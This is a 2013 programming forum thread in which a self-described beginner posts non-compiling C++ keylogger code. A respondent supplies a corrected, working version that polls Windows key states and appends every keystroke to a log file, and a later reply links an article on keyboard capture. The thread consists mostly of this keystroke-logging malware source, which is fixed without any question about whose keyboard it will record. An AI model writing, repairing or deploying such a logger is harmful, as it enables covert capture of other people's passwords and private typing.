[try Beta version]
Not logged in

 
Keylogger Code Malfunctioning

Aug 14, 2013 at 2:31am
Hi everyone! So I just started writing code tonight, using Youtube to help me learn, and one of the easier codes i came across was a Keylogger, so i decided to make one.

A few hours later, I have it all typed up and i try compiling it, but Dev doesn't like a few lines of it.

This IS my first time writing code, so i'm not quite up on all the lingo, so bear with me if i don't understand something.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#include <iostream>
using namespace std;
#include <windows.h>
#include <winuser.h>

int Save (int key_stroke, char *file);

int main ()
(
    char i;
    
    while (1)
    (
          for (i = 8; i <= 190; i++)
          (
          if (GetAsyncKeyState(i) == -32767)
          Save (i,"LOG.TXT");
          )
)      
    system ("Pause");
    return 0;
)
/* ********************** */
/* ********************** */
int save (int Key_stroke, char *file)
(
    if ( (key_stroke == 1) || (key_stroke == 2))
    return 0;
    
    FILE *OUTPUT_FILE;
    OUTPUT_FILE = fopen(file, "a+");
    cout << key_stroke << endl;
    
    if (key_stroke == 8)
    fprintf (OUTPUT_FILE, "%s", "[BACKSPACE]");
       else if (key_stroke == 13)
    fprintf (OUTPUT_FILE, "%s", "[/n]");
       else if (key_stroke == 32)
    fprintf (OUTPUT_FILE, "%s", " ");
       else if (key_stroke == VK_TAB)
    fprintf (OUTPUT_FILE, "%s", "[TAB]");
    else if (key_stroke == VK_SHIFT)
    fprintf (OUTPUT_FILE, "%s", "[SHIFT]");
     else if (key_stroke == VK_CONTROL)
    fprintf (OUTPUT_FILE, "%s", "[CONTROL]");
    else if (key_stroke == VK_ESCAPE)
    fprintf (OUTPUT_FILE, "%s", "[ESCAPE]");
    else if (key_stroke == VK_END)
    fprintf (OUTPUT_FILE, "%s", "[END]");
    else if (key_stroke == VK_HOME)
    fprintf (OUTPUT_FILE, "%s", "[HOME]");
    else if (key_stroke == VK_LEFT)
    fprintf (OUTPUT_FILE, "%s", "[LEFT]";
    else if (key_stroke == VK_RIGHT)
    fprintf (OUTPUT_FILE, "%s", "[RIGHT]");
    else if (key_stroke == VK_UP)
    fprintf (OUTPUT_FILE, "%s", "[UP]");
    else if (key_stroke == VK_DOWN)
    fprintf (OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
    fprintf (OUTPUT_FILE, "%s", " . ");
    fprintf (OUTPUT_FILE, "%s", &key_stroke);
    fclose (OUTPUT_FILE);
    return 0;
)


Thank you!
Last edited on Aug 14, 2013 at 3:06am
Aug 14, 2013 at 2:46am
This is how you declare a function int funct(arg); replace curly braces with parenthesis.
Aug 14, 2013 at 2:55am
ah, i thought there was something wierd about that. ill change it and LYK how it goes. thanks!
Aug 14, 2013 at 3:06am
okay, updated, but the code still doesnt work :(
Aug 14, 2013 at 3:07am
Firstly, why would you start to learn not only C++, but *CODE* starting with a keylogger? It's not a very effective way to start learning...

Oh, boy. This is really bad. You're using the curly brackets at inappropriate spots.

The 'invalid function declaration' means that the function that you're trying to create cannot be done with those symbols. Instead, you must use int main() for int main {} because that is how functions are declared.

If statements are declared in the same manner, as they are a function.

Also, using namespace std; isn't a good idea because it's considered bad practice.

System pause is also bad because it's a huge hole in security.

Here is the corrected code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#define _CRT_SECURE_NO_DEPRECATE //placed for unsafe warnings of fopen

#include <iostream>
#include <Windows.h>
#include <WinUser.h>

int Save (int key_stroke, char *file); 

int main()
{
    char i;
    
    while (1) //consider an option to close console rather than keep looping forever
    {
          for (i = 8; i <= 190; i++)
          {
			if (GetAsyncKeyState(i) == -32767) 
			{
				Save (i,"LOG.TXT");
			}
          }
	}      
    std::cin.get();		//instead of sys pause, although will never occur because of the 
    return 0;			//infinite while loop
}
/* ********************** */
/* ********************** */

//changed "Key_stroke" to "key_stroke" 
//also changed 's' to 'S' because that's how function was defined (line 7)
int Save (int key_stroke, char *file) 
{
    if (key_stroke == 1|| key_stroke == 2)
    {
		return 0;
	}
    FILE *OUTPUT_FILE;
    OUTPUT_FILE = fopen(file, "a+"); //#define used to prevent warning (at top)
    std::cout << key_stroke << std::endl; //using std::<whatever> instead of namespace
    
	//changed format to reduce lines
    if (key_stroke == 8) fprintf (OUTPUT_FILE, "%s", "[BACKSPACE]"); 
		else if (key_stroke == 13) fprintf (OUTPUT_FILE, "%s", "[/n]");
		else if (key_stroke == 32) fprintf (OUTPUT_FILE, "%s", " ");
		else if (key_stroke == VK_TAB) fprintf (OUTPUT_FILE, "%s", "[TAB]");
		else if (key_stroke == VK_SHIFT) fprintf (OUTPUT_FILE, "%s", "[SHIFT]");
		else if (key_stroke == VK_CONTROL) fprintf (OUTPUT_FILE, "%s", "[CONTROL]");
		else if (key_stroke == VK_ESCAPE) fprintf (OUTPUT_FILE, "%s", "[ESCAPE]");
		else if (key_stroke == VK_END) fprintf (OUTPUT_FILE, "%s", "[END]");
		else if (key_stroke == VK_HOME) fprintf (OUTPUT_FILE, "%s", "[HOME]");
		else if (key_stroke == VK_LEFT) fprintf (OUTPUT_FILE, "%s", "[LEFT}");
		else if (key_stroke == VK_RIGHT) fprintf (OUTPUT_FILE, "%s", "[RIGHT]");
		else if (key_stroke == VK_UP) fprintf (OUTPUT_FILE, "%s", "[UP]");
		else if (key_stroke == VK_DOWN) fprintf (OUTPUT_FILE, "%s", "[DOWN]");
		else if (key_stroke == 190 || key_stroke == 110) fprintf (OUTPUT_FILE, "%s", " . ");
		
		//corrected logic error
		else fprintf (OUTPUT_FILE, "%s", &key_stroke);

		fclose (OUTPUT_FILE); //always closes despite any conditionals
		return 0;
}
Last edited on Aug 14, 2013 at 3:28am
Aug 14, 2013 at 3:15am
oh wow! thank you :D really appreciate it, ill look over this and make sure to do a better job in the future. thank you!!!!
Aug 14, 2013 at 3:29am
Check the post again. I had to make some changes because I made a few typos and logic errors (facepalm moments).
Aug 16, 2013 at 3:00pm
I hope this article of mine might be of help to you
http://www.codeproject.com/Articles/635134/Target-Eye-Revealed-part-4-Keyboard-Capturing

regards,

Michael Haephrati
Topic archived. No new replies allowed.